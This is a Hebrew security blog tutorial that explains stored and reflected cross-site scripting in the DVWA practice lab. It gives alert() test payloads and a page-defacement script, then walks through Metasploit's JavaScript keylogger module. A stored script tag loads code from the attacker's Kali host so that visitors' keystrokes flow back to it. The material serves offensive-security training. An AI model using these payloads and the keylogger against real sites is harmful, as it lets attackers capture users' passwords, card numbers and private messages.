Home אבטחת מידעPenetration Testing - Offense הסבר על XSS – Cross Site Scripting ושימוש בו לביצוע Key Logger ב DVWA

הסבר על XSS – Cross Site Scripting ושימוש בו לביצוע Key Logger ב DVWA

by Tal Ben Shushan 31/05/2018 2 comments
הסבר על XSS – Cross Site Scripting ושימוש בו לביצוע Key Logger ב DVWA
נהנתם מהמאמר ? שתפו אותו!

כל הזכויות שמורות לטל בן שושן – Shushan.co.il

הסבר על XSS ושימוש בו לביצוע Key Logger


על מנת לבצע מאמר זה, יש תחילה לקרוא את המאמרים הבאים:
הסבר והתקנת DVWA

הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit


במאמר זה אסביר על XSS וכיצד להשתמש בו על מנת לבצע Key Logging.

XSS – Cross Site Scripting

XSS הוא התקפת הזרקה, באתרים, אפליקציות וכו’ בהם ניתן להזריק מידע (קוד זדוני) אל תוך תא או טופס לרוב טופס בקשה.
הרשמה למשל או התחברות, השארת הודעה או השארת פוסט באתר יכולים להוות אזור בו ניתן לבצע XSS.
ברגע שהתוקף מזריק את הקוד, הוא יכול להזריק קוד זדוני, בו הוא מבקש מהשתמש את ה Cookie שלו שהוא מחובר לאתר, יכול לבקש ממנו להריץ קוד שמשדר את כל מה שהוא כותב באתר (כרטיס אשראי, הודעה סודית וכו’) וכך למעשה מסכן את המשתמשים באתר.

על פי חברת Wordfence (ממליץ עליהם כמערכת הגנה על WordPress)

XSS מדורג עם הכי הרבה פגועיות הקיימים באתרים

מדוע הוא מדורג כזה גבוהה? אתר כמו וורדפרס מורכב מהמון Pugins ואתרים אחרים מתעדכנים באופן קבוע על ידי המתכנת \ המתכנתים וכאשר אתם מורידים פלגין או המתכנת שכח “להגביל” את התא \ טופס נוצר XSS וברגע שנוצרה חולשת הXSS האתר כולו הופך לפגיע גם אם זה בטופס הקטן ביותר.

XSS אפשר לקטלג ב2 צורות XSS Stored ו XSS Rflected

  • XSS Stored – הקוד הזדוני שמוזן אל תוך הטופס, נשאר בתוך הרשת, נאמר ויש אתר אשר דומה לפייסבוק, הזנתם את ה Hello המפורסם (מוסבר בהמשך) והופ XSS כנראה יכול לעבוד, אתם מזינים סקריפ זדוני ושולחים אותו נאמר כפוסט, האם הפוסט הזה נשמר על השרת? כן… ולכן כל משתמש שיטען את העמוד \ פוסט יטען גם את הקוד הזדוני.
    כך למעשה המשתמש לא יודע שזה קוד זדוני ולכן יטען אותו.

למשל בDVWA בלשונית XSS Stored ניתן להבחין ב”ספר האורחים” ספר זה כשמו, אורח מגיע לאתר ויכול להשאיר הודעה לבעל האתר או לרגל איזה מאורע שהאתר מציין.
כאשר המידע מוזן למערכת הוא נשמר בשרת
בתמנוה כאן ניתן לראות שכבר “משתמש” אחר הזין תוכן למערכת

כעת על מנת לבדוק אם XSS יעבוד, צריך לבדוק האם המתכנת של הטופס השאיר את הטופס “כReflected Arguments” זאת אומרת שברגע שהמשתמש הקיש כל דבר לטופס \ תא , המידע מוחזר אל המשתמש בדף עצמו והדף עצמו מריץ את הכתוב כ-קוד

אך נידע שהמידע מוחזר כקוד? נבצע סקריפט Hello פשוט ונבדוק אם נקבל הודעה קופצת, שכן זאת אומרת שהמפתח לא הגביל את המידע המוזן לטופס

נקיש

<script>alert("Hello")</script>

נלחץ על Sign Guestbook

תוכלו להבחין שכל פעם שתלחצו על לשונית אחרת ותחזרו ללשונית הזו, יקפוץ לכם אותו Hello שיצרתם, שכן הדפדפן שלכם קורא את הסקריפט בכל פעם בעמוד זה.

  • XSS Relected – הוא טופס \ תא בו המידע יכול לחזור אליכם, לדוגמה נחפש טופס שבו המידע שאנו נזין חוזר אלינו, בין אם זה בשגיאה
    נאמר הזנתם שם ארוך מידי, אז המערכת תחזיר taltaltaltaltal is too long MAX 15 Characters ברגע שהמערכת החזירה את השם שהזנו בטופס עצמו, יכול להיות שניתן להריץ XSS שכן אם הטופס לא מונע הרצת קוד בתוכו, ניתן להריץ בתוכו קוד.

למשל בDVWA ב XSS Reflected נכנס ונזין את השם שלכם

ניתן להבחין שאנחנו מקבלים את השם שלנו מוחזר בטופס

השאלה, האם ניתן להריץ בתוכו סקריפטים?

נזין את אותו הסקריפט שמקודם הזנו

<script>alert("Hello")</script>

מעולה!

דוגמאות לקוד זדוני:

שינוי האתר

<script>document.body.innerHTML("Tal Was Here");</script>

הגנה

אם תרצו להגן על שדות מפני XSS ואינכם מבינים ממש בקוד, תוכלו לקרוא את המאמר של OWASP

https://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting

במאמר זה מוסבר על דרכי הגנה.

Key Logger – Loggins

Key Logger הוא “כלי” \ “יכולת” לקבל Output של כל מה המשתמש מקיש במחשב שלו, במאמר זה נראה כיצד אפשר לבצע זאת על ידי XSS Stored

דרישות:

נפעיל את Metasploit

sudo msfconsole

ניגש ל

use auxiliary/server/capture/http_javascript_keylogger

set uripath tal

set srvport 80

exploit
  • אם פורט 80 תפוס, סגרו את שירות ה Apache או בחרו פורט אחר (אבל אל תשכחו אחרי זה להוסיף אותו אחרי כתובת ה IP:)

נעבור ב DVWA ל XSS Stored

קליק ימני על התא של Message (באמצע ממש איפה שכותבים) ואז Inspect Element

שנו את הערך מ50 ל 200 (את maxlength) כך שלא נוגבל ל50 תווים

נזין את הסקריפט

  • כתובת ה IP היא של שרת ה Kali שכן אנו רוצים שהמידע יזרום אל שרת הקאלי
  • אם שינתם את הפקודה למעלה של ה set uripath tal במקום tal לשם שלכם, שנו את זה גם כאן
<script type="text/javascript" src="http://192.168.31.162/tal/test1.js"></script>

כעת לחצו על sign guestbook

כעת כתבו בתוך ה guestbook מה שבא לכם, ובחלון הטרמינל של Kali המידע יופיע

מאמרים קשורים

2 comments

Cialis 23/02/2019 - 02:02

Hi! I realize this is kind of off-topic but I needed to ask.
Does operating a well-established website like yours take a large amount of work?
I’m completely new to blogging however I do
write in my journal on a daily basis. I’d like to start
a blog so I can easily share my experience and thoughts online.
Please let me know if you have any recommendations or tips for
brand new aspiring bloggers. Thankyou!

Reply
Tal Ben Shushan 05/03/2019 - 10:59

what is your email?

Reply

Leave a Comment